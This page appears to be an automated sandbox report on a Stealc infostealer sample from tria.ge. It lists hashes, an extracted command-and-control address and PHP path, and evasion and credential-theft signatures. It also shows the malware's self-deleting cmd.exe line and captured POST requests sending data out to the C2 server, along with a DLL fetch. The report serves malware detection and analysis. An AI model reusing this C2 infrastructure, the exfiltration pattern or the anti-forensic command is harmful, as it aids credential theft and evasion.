Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

451926dc2c...ae.exe

windows7-x64

10

451926dc2c...ae.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    95s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/11/2024, 08:03 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe

  • Size

    2.0MB

  • MD5

    263f8c88c832ba9cb27343992a861af5

  • SHA1

    5d253e787cd38ea98abf48c6fd00cd777323ad6c

  • SHA256

    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae

  • SHA512

    64b8ed3654539eda6a613a7c0c11808df9ddf2f74901f3edf0d1d28c6aa01a88b9d9207c304e9b0a52b927287a99506ec990e254fe7985ed7d6d92661cf7d287

  • SSDEEP

    49152:YLXoRO7VqWRNjTUTz+Xx9rltxe2JpFmne6tnMe7NQdGZx81QsAhRw:PIhRZUTaJtBFijMeZQdGD9sURw

Score
10/10
stealctalecredential_accessdiscoveryevasionspywarestealer

Malware Config

Extracted

Family

stealc

Botnet

tale

C2

http://185.215.113.206

Attributes
  • url_path

    /6c4adf523b719729.php

Signatures

  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    "C:\Users\Admin\AppData\Local\Temp\451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Identifies Wine through registry keys
    • Loads dropped DLL
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3652
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe" & del "C:\ProgramData\*.dll"" & exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2744
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 5
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:2184

Network

  • flag-us
    DNS
    8.8.8.8.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    8.8.8.8.in-addr.arpa
    IN PTR
    Response
    8.8.8.8.in-addr.arpa
    IN PTR
    dnsgoogle
  • flag-ru
    GET
    http://185.215.113.206/
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    GET / HTTP/1.1
    Host: 185.215.113.206
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Thu, 14 Nov 2024 08:03:58 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 0
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHI
    Host: 185.215.113.206
    Content-Length: 211
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 14 Nov 2024 08:03:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=99
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----EGIIJDHCGCBKECBFIJKK
    Host: 185.215.113.206
    Content-Length: 473
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 14 Nov 2024 08:03:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=98
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----BFBGDGIDBAAEBFHJKJDG
    Host: 185.215.113.206
    Content-Length: 472
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 14 Nov 2024 08:03:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=97
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----JDGIECGIEBKJJJJKEGHJ
    Host: 185.215.113.206
    Content-Length: 473
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 14 Nov 2024 08:03:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=96
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----CBGCBKFBGIIIECAAAKFC
    Host: 185.215.113.206
    Content-Length: 5004
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 14 Nov 2024 08:03:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=95
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    GET
    http://185.215.113.206/746f34465cf17784/sqlite3.dll
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    GET /746f34465cf17784/sqlite3.dll HTTP/1.1
    Host: 185.215.113.206
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 14 Nov 2024 08:03:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----DHJDAKEGDBFHCAAKJJJD
    Host: 185.215.113.206
    Content-Length: 472
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 14 Nov 2024 08:03:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=93
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----DBFIEHDHIIIECAAKECFH
    Host: 185.215.113.206
    Content-Length: 470
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 14 Nov 2024 08:03:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=92
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHI
    Host: 185.215.113.206
    Content-Length: 465
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 14 Nov 2024 08:04:00 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=91
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----EGIIJDHCGCBKECBFIJKK
    Host: 185.215.113.206
    Content-Length: 465
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 14 Nov 2024 08:04:00 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=90
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-us
    DNS
    133.211.185.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    133.211.185.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    206.113.215.185.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    206.113.215.185.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.214.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.214.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    72.32.126.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    72.32.126.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    149.220.183.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    149.220.183.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    50.23.12.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    50.23.12.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    171.39.242.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    171.39.242.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.210.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.210.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    88.210.23.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    88.210.23.2.in-addr.arpa
    IN PTR
    Response
    88.210.23.2.in-addr.arpa
    IN PTR
    a2-23-210-88deploystaticakamaitechnologiescom
  • flag-us
    DNS
    43.229.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    43.229.111.52.in-addr.arpa
    IN PTR
    Response
  • 185.215.113.206:80
    http://185.215.113.206/6c4adf523b719729.php
    http
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    12.5kB
     5.8kB
     30
    18

    HTTP Request

    GET http://185.215.113.206/

    HTTP Response

    200

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    GET http://185.215.113.206/746f34465cf17784/sqlite3.dll

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404
  • 8.8.8.8:53
    8.8.8.8.in-addr.arpa
    dns
    66 B
     90 B
     1
    1

    DNS Request

    8.8.8.8.in-addr.arpa

  • 8.8.8.8:53
    133.211.185.52.in-addr.arpa
    dns
    73 B
     147 B
     1
    1

    DNS Request

    133.211.185.52.in-addr.arpa

  • 8.8.8.8:53
    206.113.215.185.in-addr.arpa
    dns
    74 B
     134 B
     1
    1

    DNS Request

    206.113.215.185.in-addr.arpa

  • 8.8.8.8:53
    172.214.232.199.in-addr.arpa
    dns
    74 B
     128 B
     1
    1

    DNS Request

    172.214.232.199.in-addr.arpa

  • 8.8.8.8:53
    72.32.126.40.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    72.32.126.40.in-addr.arpa

  • 8.8.8.8:53
    149.220.183.52.in-addr.arpa
    dns
    73 B
     147 B
     1
    1

    DNS Request

    149.220.183.52.in-addr.arpa

  • 8.8.8.8:53
    50.23.12.20.in-addr.arpa
    dns
    70 B
     156 B
     1
    1

    DNS Request

    50.23.12.20.in-addr.arpa

  • 8.8.8.8:53
    171.39.242.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    171.39.242.20.in-addr.arpa

  • 8.8.8.8:53
    172.210.232.199.in-addr.arpa
    dns
    74 B
     128 B
     1
    1

    DNS Request

    172.210.232.199.in-addr.arpa

  • 8.8.8.8:53
    88.210.23.2.in-addr.arpa
    dns
    70 B
     133 B
     1
    1

    DNS Request

    88.210.23.2.in-addr.arpa

  • 8.8.8.8:53
    43.229.111.52.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    43.229.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\chrome.dll
    Filesize

    676KB

    MD5

    eda18948a989176f4eebb175ce806255

    SHA1

    ff22a3d5f5fb705137f233c36622c79eab995897

    SHA256

    81a4f37c5495800b7cc46aea6535d9180dadb5c151db6f1fd1968d1cd8c1eeb4

    SHA512

    160ed9990c37a4753fc0f5111c94414568654afbedc05308308197df2a99594f2d5d8fe511fd2279543a869ed20248e603d88a0b9b8fb119e8e6131b0c52ff85

    Download Submit

  • memory/3652-0-0x0000000000E90000-0x00000000015CB000-memory.dmp

    Filesize

    7.2MB

    Download

  • memory/3652-1-0x0000000077594000-0x0000000077596000-memory.dmp

    Filesize

    8KB

    Download

  • memory/3652-2-0x0000000000E91000-0x0000000000EF9000-memory.dmp

    Filesize

    416KB

    Download

  • memory/3652-3-0x0000000000E90000-0x00000000015CB000-memory.dmp

    Filesize

    7.2MB

    Download

  • memory/3652-10-0x0000000000E90000-0x00000000015CB000-memory.dmp

    Filesize

    7.2MB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.